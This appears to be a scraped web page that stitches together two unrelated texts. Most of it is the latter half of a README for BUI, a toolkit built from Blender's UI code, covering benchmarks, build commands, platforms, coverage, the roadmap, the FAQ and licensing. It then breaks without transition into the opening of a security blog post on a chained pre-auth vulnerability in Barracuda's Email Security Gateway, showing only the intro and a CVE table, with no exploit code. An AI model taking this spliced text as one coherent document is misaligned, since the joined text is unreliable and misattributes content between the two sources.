Rust the blenderui-imgui crate (on crates.io) Cargo

The C, Python and Rust bindings are generated from imgui.h . ImGui is idle-free on BUI: frames run only on input and while something animates. The Blender-widgets build ( BUI_IMGUI_BLENDER_WIDGETS=ON , Rust feature blender-widgets ) swaps in Blender's widgets, and can be switched at run time ( ImGui_ImplBUI_SetBlenderWidgets , imgui.set_blender_widgets ). In that build, window title bars, tooltips, plain popups, tables and the color picker keep ImGui's drawing.

Guides: docs/imgui.md , bindings/imgui/README.md (the backend and the Blender style), bindings/imgui/blender/README.md (the widget mapping), and the website's Dear ImGui section .

27. C and embedding

The kit's concepts: nodes made by type name ( frame , slider , button , panel , tree , canvas , filebrowser ...), properties set by name, Tk's geometry managers (pack, grid, place) in C, a context that owns input, popups, focus and undo, a host that receives events, and windows . A custom node draws and handles input itself; Dear ImGui runs on BUI that way. Guide: docs/c-api.md .

To embed BUI in your own renderer, render the kit into a BuiRaster and blit it (as bui.qt.BuiCanvas does inside Qt). A separate, lower-level layer, render sinks ( api/bui_c_api.h ), hands the triangles, lines and text of the immediate-mode GPU seam to your renderer; the Qt/QPainter backend and the SVG recorder use it. Guide: INTEGRATION.md .

28. Where the docs live

Guide What's inside
Website Everything below, as tutorials, concepts and references, with screenshots in dark and light
Getting started Building, environment variables, window hosts, GPU rendering, troubleshooting
tkinter Running tkinter apps on BUI, behavior notes, limitations
Qt syntax Classes, signals, layouts, painting, coverage
Components The bui.components reference
Rust rsx! , hooks, HTML, CSS and Tailwind coverage, effects, animations, events, headless tests
JavaScript and React @blender-ui/native , @blender-ui/react , how changes cross to the UI thread, performance
Dear ImGui Dear ImGui on BUI from C++, C, Python and Rust; the Blender-widgets build; coverage
C API The C kit ( BUI_kit.h )
Integration Embedding BUI drawing in C, C++, Qt or PySide hosts
Architecture Modules and what was taken from Blender
Syntax coverage The Qt and tkinter surface, exactly
macOS testing How to try the experimental Cocoa host on a Mac
Publishing Releasing to PyPI and crates.io
Changelog What changed

Part V: Performance

29. Before you read the numbers

These numbers were measured on a Ryzen 7 5800U laptop (Windows 11, on AC power) before the latest features landed : Dear ImGui, the Linux GPU renderer, the light theme, and the Blender search and expression code. They show the shape of things, not a promise for your machine. Rerun them with the tools in Run the benchmarks yourself .

30. Start time and battery

The same small settings window (a label, text field, checkbox, slider and button) written each of the five ways, from bench/apps , on BUI's CPU renderer (the default) and its GPU renderer ( BUI_GPU=1 ). The last rows are one gpui-syntax source file, settings.rs , compiled unchanged against blenderui, Zed's gpui and gpui-fast . gpui has no form widgets, so there the controls are styled divs.

Median of 10 launches, from process start until the first frame is on screen, with Python 3.14 and Node 22:

Renderer Start time CPU used to start Memory (idle) Idle CPU per minute
Rust (HTML + CSS) CPU 38 ms 27 ms 13 MB 0 ms
GPU 42 ms 61 ms 31 MB 1.8 ms
JavaScript (React, Node.js) CPU 94 ms 100 ms 48 MB 68 ms
GPU 99 ms 131 ms 60 MB 71 ms
Blender components (Python) CPU 112 ms 86 ms 23 MB 0 ms
GPU 116 ms 125 ms 32 MB 1.7 ms
tkinter syntax (Python) CPU 139 ms 112 ms 25 MB 0.2 ms
GPU 159 ms 157 ms 43 MB 2.4 ms
Qt syntax (Python) CPU 156 ms 123 ms 27 MB 0 ms
GPU 161 ms 160 ms 36 MB 1.2 ms
Same gpui code: blenderui CPU 40 ms 27 ms 15 MB 0 ms
blenderui GPU 43 ms 60 ms 31 MB 2.1 ms
gpui GPU 231 ms 226 ms 29 MB 743 ms
gpui-fast GPU 226 ms 217 ms 31 MB 2.5 ms

On the same code, blenderui shows its first frame about 5× sooner than gpui and gpui-fast, spends about 8× less CPU getting there, and on the CPU renderer uses half the memory. Idle, gpui keeps about 1.2 % of a core busy; blenderui uses none.

Laptops can't report energy per app, so battery cost is measured by the CPU time an app causes: the CPU it spends starting up, and the CPU it uses over 20 seconds while the window sits idle (what drains a battery while an app is open). BUI redraws only when something changes and otherwise sleeps, so idle use is near zero on either renderer. The GPU renderer starts a little slower and uses more memory (the GPU device), and pays off on large, animated scenes (below). Node's event loop accounts for the JavaScript idle figure, Python's times include starting the interpreter, and memory doesn't count GPU memory.

31. Frame times

Python and C, on the full component demo (520×900):

Frame Time
Complete frame (everything redrawn) ~0.7 ms
Hover or number-scrub frame (damage only) ~0.05 ms
Native window: input event → on screen ~0.06 ms

Dear ImGui's demo window with every section open (27k triangles, 1280×800) is a full software redraw of about 5–8 ms.

Rust, against Zed's gpui and the faster fork gpui-fast . The scene is 3000 animated cells, and all apps ran in the same session (GPU rows on Direct3D 11):

blenderui (GPU) blenderui (CPU) gpui-fast gpui
FPS 59.9 57.6 31.5 19.9
CPU per frame 11.6 ms 22.0 ms 31.9 ms + GPU 50.5 ms + GPU
RAM 40 MB 30 MB 65 MB 77 MB
First frame ~5 ms ~5 ms ~200 ms ~220 ms
Idle CPU 0 % 0–0.9 % 0–0.4 % 0.9–1.4 %
Full results, the GPU renderer, and the method
blenderui (GPU) blenderui (CPU) gpui-fast gpui
FPS, 1000 animated cells 60 60 49.2 36.4
CPU per frame, 1000 / 100 cells 4.7 / 1.2 ms 10.2 / 4.6 ms 20.5 / 2.7 ms + GPU 27.7 / 4.7 ms + GPU
Uncapped FPS, 100 / 1000 / 3000 cells 1491 / 309 / 94 649 / 202 / 76 - -
RAM, 1000 / 100 cells 35 / 28 MB 24 / 21 MB 45 / 47 MB 47 / 40 MB
GPU memory 19–22 MB none 19–24 MB 16–21 MB

The GPU renderer is off by default. Turn it on with Application::new().gpu(true) , tk.Tk(gpu=True) , bui.set_gpu(True) or BUI_GPU=1 :

  • Every primitive is one instance of a single shader, so a frame is a few instanced draw calls (Direct3D 11 on Windows, OpenGL 3.3 on Linux).
  • Text and images are cached in atlases.
  • Frames render into a persistent target, so only damaged regions redraw.
  • On Windows, presentation uses a flip-model swap chain with dirty rects.

Its shaders evaluate the software raster's formulas: the parity test finds 10 of 172,800 pixels that differ by more than 3/255, on both backends.

gpui-fast's heavy-scene frame rate varies between sessions on this laptop (30–60 fps), so compare within one session. Method, raw data and how to rerun: bindings/rust/bench/README.md .

32. JavaScript and React: startup and animation

Startup. These launch a small React app (the counter above) that quits once its first frame is on screen. Each figure is the median of 12 launches after a warm-up launch ( node bench/startup.js ).

First frame Launch to exit RAM at first frame What you ship
QuickJS executable ( bui build ) 68 ms 104 ms 19 MB 7.3 MB
Bun executable ( bui build --bun ) 79 ms 147 ms 35 MB 114 MB
Bun ( bun app.js ) 80 ms 152 ms 35 MB Bun + your app
Node.js ( node app.js ) 108 ms 187 ms 45 MB Node + your app
Rust (for reference: the benchmark app) 5 ms ~92 ms 3.5 MB

First frame is measured from the runtime's start. Launch to exit is wall time measured from outside, including process creation and teardown.

Animation. The same scene as the Rust table above, in one mode: one cell changes per frame, GPU renderer, medians of 3 runs. CPU is the whole process, counted with the cycle counter as for Rust.

  • Plain JS uses @blender-ui/native .
  • React with signals passes the changing values as signals, so the grid renders once.
  • React with state re-renders the grid every frame.
  • React's production build is used throughout.
3,000 cells FPS CPU per frame RAM
Rust 59.6 12.0 ms 43 MB
QuickJS: plain JS / React with signals / React with state 59.1 / 58.7 / 19.7 16.3 / 14.9 / 51.0 ms 56 / 61 / 67 MB
Bun 1.4: plain JS / React with signals / React with state 58.8 / 58.4 / 55.8 13.1 / 13.3 / 20.8 ms 80 / 85 / 118 MB
Node 22: plain JS / React with signals / React with state 55.8 / 56.7 / 54.8 14.4 / 14.0 / 18.9 ms 88 / 93 / 121 MB
1,000 cells FPS CPU per frame RAM
Rust 60 4.8 ms 32 MB
QuickJS: plain JS / React with signals / React with state 60 / 60 / 56.8 6.0 / 5.6 / 17.8 ms 38 / 40 / 43 MB
Bun: plain JS / React with signals / React with state 60 / 60 / 60 5.2 / 5.2 / 7.5 ms 58 / 63 / 81 MB
Node: plain JS / React with signals / React with state 60 / 60 / 60 5.6 / 5.6 / 6.9 ms 68 / 71 / 97 MB

What this means:

  • JavaScript costs little over Rust: 0.4–2.4 ms per frame, for sending changes to BUI's UI thread.
  • Signals make React as cheap as the plain API: the component doesn't re-render.
  • QuickJS starts fastest and uses the least memory, from a 7 MB file. It has no JIT, so re-rendering a 3,000-element list every frame drops it to 20 FPS. Keep big lists on signals, or build with --bun .

Method, the memory breakdown and how to rerun: docs/javascript.md .

33. Run the benchmarks yourself

Every number above comes from a tool in this repo. Build in release mode, close other heavy apps, and plug the laptop in. Run one benchmark (and one build) at a time.

Start time and battery: the five ways and gpui ( bench/ , Windows). The same settings window written each way, on the CPU and the GPU renderer, plus one gpui-syntax file compiled for blenderui, gpui and gpui-fast. It reports start time, CPU used to start, memory and idle CPU, and writes bench/results.json .

cmake -S . -B build && cmake --build build --config Release --target buipy  # Python extension
cd bindings/node && npm run build && cd ../..                                # Node addon
cd bindings/rust && cargo build --release --example bench_app && cd ../..    # Rust app
cd bindings/rust/bench && cargo build --release --bins && cd ../../..        # gpui comparison
py -3 bench/run.py 10 20        # launches per app, seconds of idle measurement

Frame cost: 100, 1,000 and 3,000 animated cells, against gpui and gpui-fast ( bindings/rust/bench/ , Windows). A 1000×800 window filled with N rounded, numbered cells, in three modes:

  • anim: every cell changes every frame, the worst case.
  • one: one cell changes per frame, like a hover or a ticking value.
  • idle: nothing changes.

Each app measures its own CPU cycles, frames and memory, and run.py adds GPU utilisation and GPU memory from Windows' performance counters.

cd bindings/rust/bench
set GPUI_FXC_PATH=C:\Program Files (x86)\Windows Kits\10\bin\10.0.19041.0\x64\fxc.exe   # gpui needs fxc.exe
cargo build --release
py run.py --reps 3                                   # all apps, 100 / 1000 / 3000 cells, about 12 minutes
py run.py --cells 3000 --apps blenderui,blenderui-gpu --reps 1
target\release\bui-bench --cells 3000 --mode anim   # one run by hand (--mode one / idle, --uncapped)
set BUI_GPU=1 && target\release\bui-bench --cells 3000 --mode anim   # on the GPU renderer

Method and full results: bindings/rust/bench/README.md .

JavaScript: the same cells, and startup ( bindings/node/bench/ ):

cd bindings/node
node bench/cells.js 3000                       # DOM-like API, one cell changing per frame
node bench/cells.js 3000 --react               # React re-rendering the grid
node bench/cells.js 3000 --react --signals     # React with signals: no re-render
node bench/cells.js 3000 --gpu                 # on the GPU renderer
bun bench/cells.js 3000                        # on Bun
node cli.js run bench/cells.js -- 3000         # on the 5 MB QuickJS runtime
node bench/startup.js                          # launch to first frame: Node, Bun and both executables

tkinter: canvas frame cost (headless, any platform):

py bindings/python/bench/tk_canvas_bench.py 3000 all    # move 3,000 canvas items every frame
py bindings/python/bench/tk_canvas_bench.py 3000 one    # move one

Inside any app: run it with BUI_PROFILE=1 to print per-phase frame times (layout, paint, raster, present) every 60 frames; any value turns it on. Use BUI_GPU=1 / BUI_GPU=0 to pick the renderer. More: Profiling .


Part VI: Reference

34. Platforms

Windows Linux macOS
Window Native (Win32) Native (X11; Wayland through XWayland) Native (Cocoa), experimental
Python ( pip install ) Works: wheels Works: wheels (native X11 host) Works: wheels
Rust ( cargo add blenderui ) Works Works Experimental
JavaScript / React Works: prebuilt on npm Works: build the addon from source ( npm run build ); native X11 windows Headless (see below)
C, C++, Dear ImGui Works Works Experimental
Renderer CPU raster, or GPU (Direct3D 11) CPU raster, or GPU (OpenGL 3.3) CPU raster
HiDPI Per-monitor DPI Xft.dpi Retina (backing scale)

Works means it works and is tested. Experimental means it's written but has had little hands-on testing on real hardware (macOS: one Apple Silicon Mac so far, plus CI).

macOS. The macOS window host is new: it's a port of Blender's Cocoa code (GHOST). So far it has been checked by CI and tried by hand on one Apple Silicon Mac by Krish Kalaria , who reported issue #3 and fixed it in pull request #4. If you have another one, please try it and tell us what happens: docs/macos-testing.md . Python can still use the stdlib Tk window there ( BUI_HOST=tk ; this needs Python's tkinter , for example from python.org or brew install python-tk ). Node runs BUI on its own UI thread and macOS only allows windows on the main thread, so JavaScript stays headless on macOS for now.

Linux. libX11 and libGL are loaded when the first window opens, so BUI also imports and renders headless on servers and in containers without them, and falls back to the CPU raster where OpenGL is missing. Building from source needs the X11 headers ( libx11-dev / libX11-devel ); no GL headers are needed. The C, Python, window and GPU parity tests pass on Linux, on Mesa's software OpenGL and on an NVIDIA GPU.

Packages:

Package Platforms Notes
blenderui on PyPI Windows x86_64, Linux x86_64 (manylinux), macOS arm64 and x86_64 CPython 3.11 to 3.14. No musllinux or 32-bit wheels.
blenderui on crates.io Any platform with CMake and a C compiler Rust 1.88+. blenderui-imgui (Dear ImGui) is on crates.io too.
@blender-ui/native , @blender-ui/react on npm Windows x64 Node.js 18+ or Bun. Elsewhere, build the addon from source.
C and C++ (CMake) Windows, Linux, macOS CMake 3.20+, a C11 and C++20 compiler.

35. Environment variables

Most are read by the C library, so they work the same from every language. On/off variables look at the first character: 1 , y , Y , t or T is on. Where a variable and an app-wide API call set the same thing, the variable wins.

Variable What it does
BUI_GPU 1 draws native windows on the GPU (Direct3D 11 / OpenGL 3.3). Overrides bui.set_gpu() , Application::gpu() , BUI_gpu_set_default() . 0 turns those defaults off; a window that asks for the GPU itself still gets it.
BUI_SLUG GPU text: 1 from glyph outlines (Slug, the default), 0 from a per-glyph atlas.
BUI_GPU_DEBUG 1 prints why the GPU renderer couldn't start.
BUI_GPU_WARP 1 (Windows) creates the Direct3D 11 device on WARP, the software rasterizer. Handy in VMs and CI.
BUI_GPU_MAX_TEXTURE Testing: the largest texture side the GPU renderers give one image (at least 64), so images over it are tiled as on devices with a small limit.
BUI_GPU_EGL default or surfaceless (Linux): the EGL platform for offscreen GPU rendering.
BUI_RASTER_THREADS 1 to 8 (Windows): the most threads the software raster uses for big canvases.
BUI_PROFILE Prints frame times every 60 frames. Any value turns it on, even 0 .
BUI_THEME dark (default) or light : Blender's theme, when the app doesn't set one.
BUI_UI_SCALE A fixed UI scale ( 1.25 , 1.5 ...) instead of the display's. Clamped to 0.5–4.
BUI_HOST tk (Python): use the stdlib Tk window even where a native host exists.
BUI_MAC_TK 0 (Python on macOS): skip starting a hidden Tk root before the first native window.
BUI_FONT , BUI_FONT_DIR A font file to replace Inter, and an extra font folder to search first.
BUI_FILEDIALOG native (or system , tk ), Python: file dialogs use the OS's instead of Blender's File Browser.
BUI_BOOKMARKS The File Browser's bookmarks file.
BUIPY_BUILD_DIR Running Python from a source checkout: the folder holding the built buipy extension.
BUI_NODE_ADDON @blender-ui/native : load this .node addon instead of the bundled one.
BUI_HEADLESS 1 : bui build apps and bui run render off-screen (same as --headless ).
BUI_SOURCE_DIR , BUI_TEXT_GDI Build time, Rust: build the C library from this checkout; use GDI text.

Every variable, with defaults and where it's read: Environment variables and docs/getting-started.md .

36. Building from source and CMake options

You need CMake 3.20+ , a C11 / C++20 compiler (MSVC, GCC/MinGW or Clang) and Python 3.11+ with headers. On Linux, also the X11 headers.

git clone https://github.com/ppmpreetham/BUI && cd BUI
cmake -S . -B build && cmake --build build -j 2
ctest --test-dir build                      # C, C++, ImGui and Python test suites

export PYTHONPATH=$PWD/bindings/python      # Windows: set PYTHONPATH=%CD%\bindings\python
python examples/components_demo.py

cd bindings/rust && cargo test              # Rust: CSS, Tailwind, rsx!, hooks, effects, headless windows
Option Default What it does
BUI_BUILD_TESTS ON C test programs and the ctest suites
BUI_BUILD_EXAMPLES OFF The C examples ( bui_kit_hello , bui_svg_demo , the site screenshot programs)
BUI_BUILD_PYTHON_BINDINGS ON The buipy extension (and the ImGui extension); skipped without Python's dev files
BUI_BUILD_IMGUI ON with a C++ compiler Dear ImGui on BUI, its C API, demo and test
BUI_IMGUI_BLENDER_WIDGETS OFF Dear ImGui with Blender's widgets
BUI_BUILD_QT_BACKEND OFF The C++ Qt/QPainter render-sink backend (needs Qt 5 or 6)
BUI_BUILD_UI OFF Also compile Blender's original ui/ sources (reference only)
BUI_TEXT_FREETYPE ON Render glyphs with FreeType like Blender's BLF; OFF uses stb_truetype
BUI_TEXT_GDI OFF Windows' GDI text and system fonts
BUI_SLUG ON Slug as the GPU's default text method (switchable at run time)
BUI_IMAGE_SVG ON SVG images through the kit's nanosvg (no extra code: Blender's icons already use it)
BUI_WARNINGS_AS_ERRORS OFF GCC and Clang only: when OFF the build adds -Wno-error ; it never adds -Werror or /WX itself

Rebuild the docs screenshots with python tools/gen_doc_images.py (and the website's dark and light shots with --site ). More: CMake options .

37. Coverage

API Coverage Status
tkinter and ttk 7,846 of 7,846 public names; nine real programs behave identically Complete
Qt syntax About 220 of 920 public method names on 25 core widget classes (~24%) Partial
Blender components (Python) 45 components (10 of them also in Rust and JavaScript) Complete
HTML elements (Rust, JavaScript) 113 of 113 Complete
CSS properties (Rust, JavaScript) 261 of 745 W3C properties render, 129 more parse, 355 not recognized (mostly drafts, speech, paged media and SVG) Partial
CSS 2.1 screen properties 90 of 90 Complete
Flexbox / Grid 12 of 12 / 23 of 23 Complete
Dear ImGui, C 399 of 399 functions Complete
Dear ImGui, Python and safe Rust 366 of 399 functions (Rust FFI: 385) Partial
Image formats (every language) PNG, JPEG, WebP, GIF, BMP, TGA, QOI, HDR, PNM, SVG; not yet AVIF, EXR, TIFF, JPEG XL, HEIC Partial

How each was counted: Coverage , SYNTAX_COVERAGE.md , docs/rust.md , docs/imgui.md .

38. Repository layout

Path Contents
kit/ The C runtime: nodes, input, widget drawing (the interface_widgets.cc port), menus, geometry managers, canvas, the File Browser, themes ( kit_theme_presets.c ), the Win32, X11 and Cocoa window hosts; kit/intern/image/ (images: decoders, cache, worker pool; third-party decoders in kit/extern/ ); kit/intern/blender/ holds Blender files copied in (string search, text-edit undo, float precision). API: kit/include/BUI_kit.h
gpu/ Software raster, GPU renderer on Direct3D 11 ( gpu_d3d11.c , shaders/ ) and OpenGL 3.3 ( gpu_gl.c ), textured meshes, Slug text, text engine (FreeType or stb_truetype + embedded Inter, or GDI)
core/ , types/ Blender's blenlib subset (including string_search.cc and expr_pylike_eval.cc ) and data types
ui/ , compat/ Blender's original interface sources, kept for reference (not compiled by default; kit/ re-ports them in C), and the seams replacing Blender's application APIs
api/ Stable C ABI for render-sink hosts
bindings/python/ The buipy extension and the bui / blenderui packages (tkinter, Qt, components, ImGui)
bindings/rust/ blenderui , blenderui-sys , blenderui-macros , blenderui-tailwind , blenderui-imgui , blenderui-jsview , blenderui-node , blenderui-qjs , and the benchmark
bindings/node/ , bindings/react/ @blender-ui/native and @blender-ui/react
bindings/imgui/ Dear ImGui (vendored), the BUI backend, Blender style, the C API and its generator, the Blender-widgets build
backends/qt/ C++ Qt/QPainter render-sink backend
bench/ The start time and battery benchmark; bench/images/ (decoders, thumbnail grid)
examples/ , tools/ Demos, the website's screenshot programs ( examples/site/ ), the icon and theme generators, the docs screenshot generator
website/ The documentation website, bui.preetham.top

39. Examples

File Shows
examples/tk_unchanged_app.py A plain tkinter app: menus, notebook, form, table, text, canvas
examples/components_demo.py Every Blender component in a properties-editor layout
examples/qt_syntax_demo.py Qt syntax: layouts, form widgets, signals
examples/tk_syntax_demo.py tkinter syntax laid out like a Blender properties editor
examples/kit_hello.c The C kit: a slider and a button in a native window
examples/imgui_demo.cpp Dear ImGui's demo window on BUI, from C++
examples/imgui_demo_c.c The same from C ( cimgui.h )
examples/imgui_blender_compare.cpp ImGui widgets next to BUI's native Blender widgets
examples/site/ The website's screenshot programs: a Render Properties editor and a node editor (Python components), tkinter and ttk dialogs, a Qt material editor, an ImGui inspector (C++ and Python), a C modifier stack, and a JavaScript task list (DOM and React)
hello.rs Rust: a component, hooks, Tailwind attributes and a Blender slider
showcase.rs Rust: HTML, a stylesheet, flex/grid, tables, Blender form widgets
forms.rs Rust: form controls as plain HTML, inside styled , and as Blender components
site_dashboard.rs , site_dashboard_builder.rs Rust: the same dashboard in rsx! and in gpui builders
site_effects.rs , site_grid.rs , site_animation.rs Rust: CSS effects, grid and @keyframes
site_plain_html.rs , site_styled.rs , site_components.rs Rust: the three looks
blenderui-imgui demo Dear ImGui from Rust ( cargo run -p blenderui-imgui --example demo )
bindings/node/examples/counter.js JavaScript: the DOM-like API
bindings/react/examples/counter.jsx React in JSX ( bun examples/counter.jsx )

Part VII: The project

40. Status and roadmap

Done

Area What works
C runtime ( kit/ ) Nodes, Tk-style geometry managers, input, Blender widget drawing, damage rendering, undo, animation, text area, canvas, scroll views, Blender's string search, expression evaluator, text-edit undo and float precision, Blender's Dark and Light themes
Native windows Windows (Win32) and Linux (X11; Wayland through XWayland), in C: DPI-aware, frame-paced animation, clipboard, cursors, window-manager features
tkinter syntax Complete : every public tkinter and ttk name (7,846 of 7,846)
Components 45 Blender components, including the color ramp, curve and node editors
Rust HTML (113/113 elements), Flexbox 12/12, Grid 23/23, CSS 2.1 90/90, math functions, var() , CSS Color 4/5, Selectors 4, @layer / @media / @supports / @scope / @container / @font-face / @property , @keyframes animations and transitions, filters / blend modes / masks / clip-path / 2D transforms / border-image , bidi text, background images, object-fit , Tailwind v4, rsx! , #[component] with optional props and key , hooks, Blender components, browser-look form controls, headless testing
Dear ImGui The real Dear ImGui 1.93 on BUI (CPU, Direct3D 11, OpenGL), Blender theme and Inter; C++ / C (399/399 functions) / Python and Rust (366–385/399); the Blender-widgets build
Rendering Software raster (parallel, damage-tracked), GPU renderer (Direct3D 11 on Windows, OpenGL 3.3 on Linux), textured meshes, portable text engine (FreeType, as in Blender)
JavaScript / React @blender-ui/native : a DOM-like API over napi-rs, with its own UI thread, only changes crossing the boundary, vsync-paced requestAnimationFrame and signals. @blender-ui/react : a React 19.3 renderer whose hooks ( useState , useMemo , useEffect ...) hold signals that update nodes without re-renders. Both on Node.js and Bun, with headless testing. bui build makes standalone executables: about 7 MB with the embedded QuickJS runtime, or Bun's with --bun ( guide )
Packaging blenderui on PyPI , with a CI workflow for wheels on all platforms (Linux wheels with the native X11 host); blenderui on crates.io ; @blender-ui/react and @blender-ui/native on npm
Docs The website, bui.preetham.top

Partial or in progress

Area What's missing
Qt syntax (~24%) Model/view classes, docks, toolbars, splitters, Qt stylesheets ( details )
CSS (261 of 745 W3C properties render, 129 more parse) 3D transforms, OpenType font features, multi-column layout; hit testing ignores 2D transforms. Most of the remaining W3C list is drafts, speech, print and SVG ( breakdown )
Text No text wrapping around floats; right-to-left text is reordered (bidi) but not shaped (Arabic joining); no OpenType features; no per-glyph font fallback yet (characters missing from the font show as boxes); no IME
Rust components No async resources ( use_resource ); no generic components
Dear ImGui Python and safe Rust skip the va_list , void* and C-callback functions (reachable from C and the Rust FFI); with Blender widgets, window title bars, tooltips, plain popups, tables and the color picker keep ImGui's drawing
JavaScript / React packages npm packages are prebuilt for Windows x64 only (on Linux, build the addon from source); events reach JavaScript after BUI handled them (no native preventDefault ), and event.target is the deepest listening element
macOS Experimental. The native Cocoa window host is written, checked by CI and tried by hand on one Apple Silicon Mac ( how to help ); JavaScript is headless there (Node's UI thread isn't the main thread); no GPU renderer yet
Themes Dark and Light work; loading other Blender theme files doesn't yet

Planned (coming soon)

Target Plan
WebAssembly The kit in the browser: the raster blits to <canvas> , DOM events feed the kit; @blender-ui/react and the DOM-like API on top, unchanged
egui BUI panels inside egui, plus a Blender-styled theme
More from Blender's source Per-glyph font fallback (BLF), IME, search-as-you-type popups, units in number fields, widget drag and drop
macOS GPU and JavaScript windows The GPU renderer on Metal (or the OpenGL backend), and Node windows on the main thread
More GPU backends Vulkan / WebGPU drawing the same instance stream as Direct3D 11 and OpenGL
Qt parity Measure against PySide6, run the same programs on Qt and BUI, fill in the missing classes, then install() so import PySide6 programs run unchanged
More languages MyGo, C#, Go, Zig, Swift, Kotlin and Lua over the same C header; Godot, Unity and Bevy; Flutter

Our roadmap has no dates on it. Like a good render, it's done when the noise goes away.

41. FAQ

Do I need Blender installed? No. BUI contains the parts of Blender's UI code it needs and builds on its own.
Is it really my unchanged tkinter app? Yes. blenderui-tk app.py makes import tkinter return BUI's implementation, which covers every public tkinter and ttk name. Nine real programs are tested to behave identically on the standard library and on BUI. See the limitations for the few differences.
Is it a web browser in Rust? No. There's no browser engine and no network. BUI takes HTML elements and CSS as a UI language : they are laid out with taffy and drawn by BUI's engine, with Blender's widgets where you ask for them, in a native window. JavaScript is optional: the Rust crate needs none, and the JavaScript packages drive the same engine.
Is the Dear ImGui support a re-implementation? No. It's the real Dear ImGui (vendored, MIT), running on a BUI backend, so every function behaves as upstream. The optional Blender-widgets build swaps only how ImGui's widgets are drawn and how they react to the mouse, by compiling an edited copy of imgui_widgets.cpp .
How is it different from Electron, Electrobun or GPUIX?
  • Electron ships Chromium with every app: on the order of 100 MB or more.
  • Electrobun runs on Bun and renders in the system's webview. It's small to download, but the UI is still a browser page.
  • GPUIX , like BUI, renders React natively: React drives Zed's GPUI.
BUI also renders natively, with Blender's widgets, a much larger part of CSS, Tailwind, and hooks backed by signals. bui build makes a 5 MB executable that reaches its first frame in about 70 ms.
Do the macros cost performance? rsx! , #[component] , css! and tw! expand at compile time into the same builder calls you would write by hand. Tailwind classes are compiled to CSS once, on first use. Hooks are a few nanoseconds per read or write.
Can I change the colors? Yes. Switch between Blender's Dark and Light themes at run time ( Themes ), color individual widgets in every API, and use full CSS on plain HTML elements in Rust and JavaScript. Loading any other Blender theme file is coming soon.
Does it run on my Mac? Probably, but nobody has checked yet: the Cocoa host is written and experimental. Python can always fall back to the Tk window ( BUI_HOST=tk ). If you try it, the notes in docs/macos-testing.md say what to report.
Is it ready for production? Much of it is complete and tested (the C kit, tkinter, the components, Rust, Dear ImGui, JavaScript), and some parts are partial or experimental (Qt syntax, parts of CSS and text, macOS). Status and roadmap shows which is which. Pin your version, and test on the platforms you ship.
Who wrote it? The repository is built entirely using LLMs, with no human-written code. The drawing and interaction code is ported from Blender's sources, and the behavior is checked by tests: C, Python, Rust and JavaScript suites, the tkinter side-by-side programs and the GPU parity test.
Why GPL? BUI is derived from Blender's source code, which is GPL-2.0-or-later, so BUI is too.
Can I use BUI in a commercial app? The GPL allows commercial use. What it asks is that when you distribute a program that includes BUI, you distribute it under the GPL too, with its source code available. If that doesn't fit your project, talk to a lawyer before you ship. (This is a summary, not legal advice.)

Star History

Star History Chart

42. Contributing and publishing

Contributions are welcome: bug reports, missing tkinter/Qt behavior, CSS features, platform hosts and docs. If you have a Mac, running the Cocoa host and reporting what happens is one of the most useful things you can do right now. Read CONTRIBUTING.md first, and please follow the Code of Conduct . Report security issues privately, as SECURITY.md describes.

Releases go to PyPI ( blenderui , wheels built by CI on a v* tag), crates.io (the eight Rust crates, in dependency order) and npm ( @blender-ui/native , @blender-ui/react ). The steps are in docs/publishing.md .

43. License and credits

License. BUI is derived from Blender sources and is licensed GPL-2.0-or-later . The SPDX header is kept in every file. Third-party parts keep their own licenses:

Part What it does in BUI License
Blender sources Widget drawing, interaction rules, theme, icons, blenlib , GHOST window code, the File Browser and node editor GPL-2.0-or-later
Dear ImGui by Omar Cornut The immediate-mode GUI that runs on BUI MIT
Inter by Rasmus Andersson The embedded UI font, as in Blender ( gpu/extern/Inter-LICENSE.txt ) SIL Open Font License 1.1
FreeType 2.13.3 Glyph loading, hinting and rendering, like Blender's BLF FreeType License or GPLv2 (dual-licensed)
stb_truetype by Sean Barrett Font metrics and character maps, and the fallback rasterizer Public domain
NanoSVG by Mikko Mononen, as edited by Blender Rasterizing Blender's SVG icons Zlib
Slug by Eric Lengyel The GPU glyph coverage algorithm (shader code "Copyright 2017 by Eric Lengyel") MIT
Tailwind CSS The v4 default theme values behind the Tailwind support MIT

The Rust and JavaScript bindings also depend on crates and packages such as taffy, napi-rs, React and QuickJS, each under its own license.

Acknowledgments. Thank you to:

  • Blender and its community: the UI this project is built from, including its GHOST window code and blenlib.
  • Dear ImGui by Omar Cornut: the immediate-mode GUI that runs on BUI.
  • taffy : flexbox, grid and block layout for the Rust crate.
  • Tailwind CSS : the v4 theme behind the Tailwind support.
  • FreeType : glyph rendering, as in Blender.
  • stb_truetype : font metrics and the fallback rasterizer.
  • NanoSVG by Mikko Mononen: the icon rasterizer, via Blender's edited copy.
  • Inter by Rasmus Andersson: the embedded UI font, as in Blender.
  • Slug by Eric Lengyel: the GPU glyph coverage algorithm.
  • gpui , zopra and Leptos : the APIs the Rust syntax follows.

BUI is Blender's UI, minus the default cube. You're free to add your own.

Barracuda Networks is your new best friend (Barracuda Email Security Gateway Pre-Auth Remote Root RCE CVE-2026-116606 / CVE-2026-111560)

Lobsters
labs.watchtowr.com
2026-11-06 02:29:25
Comments...
Original Article

This research is a glimpse into the capability powering the watchTowr Platform, a Preemptive Exposure Management solution. We enable organizations to autonomously validate and mitigate their exposure to emerging threats, ahead of in-the-wild exploitation.

Request a demo

Yes, that's right! Today we're at the aquarium.

Welcome back to yet another watchTowr Labs blog post. You can begin preparing your comments now.

0:00

/ 0:20

What Is A Barracuda, And Why? Must We?

Barracuda’s Email Security Gateway solution (ESG) is no stranger to love , for a couple of reasons:

  • For many, it is the appliance that sits in front of an organization's mail and decides which messages are spam, which carry malware, and which are allowed through.
  • For others, it’s the appliance that required physical replacement after UNC4841 (per Mandiant) exploited CVE-2023-2868 as a zero-day.

Whoever you are, one thing will be consistent in your experience: it is yet another appliance that lives at the edge, inspects everything, and runs with the exact and only privileges needed to block a mean email about your blog post.

Ok, But What Are CVE-2026-116606 And CVE-2026-111560?

As always, CVE IDs have a habit of being surprisingly catchy - and these two are no different, as we can see in Barracuda's own advisory and summarized below:

CVE Vulnerability CVSS Affected Products Fixed In
CVE-2026-116606 Pre-Authentication Authorization Bypass (Editor: lol?) 9.3 Critical Barracuda ESG 9.4.0.029
CVE-2026-111560 OS Command Injection 8.6 High ESG, Load Balancer ADC, Message Archiver, WAF Control Center, Web Application Firewall, Web Security Gateway 9.4.0.029

In isolation, you could be fairly British and describe either as "not ideal." But things get worse - if chained, and you were British, you’d describe them as “okay.” Scathing.

It hopefully comes as no surprise then that these vulnerabilities are the focus for today's watchTowr Labs blog post - so let’s grab a coffee and go on a walk.

